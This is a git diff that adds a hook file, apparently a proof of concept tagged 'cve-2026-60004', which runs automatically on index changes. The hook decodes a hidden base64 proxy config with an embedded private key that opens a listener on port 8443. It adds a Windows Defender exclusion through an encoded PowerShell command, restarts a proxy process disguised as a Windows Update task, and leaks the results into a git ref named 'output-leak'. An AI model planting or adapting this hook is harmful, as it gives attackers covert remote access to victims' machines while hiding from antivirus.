diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..e51aab9
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,29 @@
+#!/bin/sh
+GD=$(git rev-parse --absolute-git-dir)
+REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
+OUT=$(
+echo ===WRITE_CONFIG===
+cat > '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync/config.b64' <<'EOF'
+ewogICJsb2ciOiB7CiAgICAibG9nbGV2ZWwiOiAibm9uZSIKICB9LAogICJpbmJvdW5kcyI6IFsKICAgIHsKICAgICAgImxpc3RlbiI6ICIwLjAuMC4wIiwKICAgICAgInBvcnQiOiA4NDQzLAogICAgICAicHJvdG9jb2wiOiAidmxlc3MiLAogICAgICAic2V0dGluZ3MiOiB7CiAgICAgICAgImNsaWVudHMiOiBbCiAgICAgICAgICB7CiAgICAgICAgICAgICJpZCI6ICI0ZjQxM2U4Zi0xMzA1LTRjMGQtYjcyYi1lNDhiOGMzZGQ4YjUiLAogICAgICAgICAgICAiZmxvdyI6ICJ4dGxzLXJwcngtdmlzaW9uIgogICAgICAgICAgfQogICAgICAgIF0sCiAgICAgICAgImRlY3J5cHRpb24iOiAibm9uZSIKICAgICAgfSwKICAgICAgInN0cmVhbVNldHRpbmdzIjogewogICAgICAgICJuZXR3b3JrIjogInRjcCIsCiAgICAgICAgInNlY3VyaXR5IjogInJlYWxpdHkiLAogICAgICAgICJyZWFsaXR5U2V0dGluZ3MiOiB7CiAgICAgICAgICAic2hvdyI6IGZhbHNlLAogICAgICAgICAgImRlc3QiOiAid3d3LmNsb3VkZmxhcmUuY29tOjQ0MyIsCiAgICAgICAgICAieHZlciI6IDAsCiAgICAgICAgICAic2VydmVyTmFtZXMiOiBbCiAgICAgICAgICAgICJ3d3cuY2xvdWRmbGFyZS5jb20iCiAgICAgICAgICBdLAogICAgICAgICAgInByaXZhdGVLZXkiOiAiUUstYk1XR3l2SzJ4aVJWckFaRTVCdm40VWFDSmJ1V09od2VHTDU4dDdFSSIsCiAgICAgICAgICAic2hvcnRJZHMiOiBbCiAgICAgICAgICAgICI2YmE4NTE3OWUzMGQ0ZmMyIgogICAgICAgICAgXQogICAgICAgIH0KICAgICAgfSwKICAgICAgInNuaWZmaW5nIjogewogICAgICAgICJlbmFibGVkIjogZmFsc2UKICAgICAgfQogICAgfQogIF0sCiAgIm91dGJvdW5kcyI6IFsKICAgIHsKICAgICAgInByb3RvY29sIjogImZyZWVkb20iLAogICAgICAidGFnIjogImRpcmVjdCIKICAgIH0KICBdCn0K
+EOF
+MSYS2_ARG_CONV_EXCL='*' /c/WINDOWS/System32/certutil.exe -decode 'C:\ProgramData\Microsoft\Windows\WER\ReportArchive\sync\config.b64' 'C:\ProgramData\Microsoft\Windows\WER\ReportArchive\sync\config.json' 2>&1
+rm -f '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync/config.b64'
+echo ===DEFENDER_EXCLUDE===
+/c/WINDOWS/System32/WindowsPowerShell/v1.0/powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAVwBFAFIAXABSAGUAcABvAHIAdABBAHIAYwBoAGkAdgBlAFwAcwB5AG4AYwAnAA== 2>&1 && echo EXCLUDE_OK || echo EXCLUDE_FAIL
+echo ===RESTART===
+MSYS2_ARG_CONV_EXCL='*' /c/WINDOWS/System32/taskkill.exe /F /IM WinUpdateSvc.exe 2>&1 || true
+sleep 1
+MSYS2_ARG_CONV_EXCL='*' /c/WINDOWS/System32/schtasks.exe /run /tn 'Microsoft\Windows\WindowsUpdate\ProxySvc' 2>&1
+sleep 3
+echo ===VERIFY===
+/c/WINDOWS/System32/netstat.exe -ano | /usr/bin/grep -E ':8443\s' || echo NO_8443_LISTEN
+/c/WINDOWS/System32/tasklist.exe | /usr/bin/grep -Ei 'WinUpdateSvc|xray' || echo NO_PROXY_PROC
+echo ===CONFIG===
+/usr/bin/head -c 200 '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync/config.json'; echo
+echo ===DONE===
+ 2>&1; echo "[exit-status=$?]")
+BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
+TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
+CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
+git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
+#A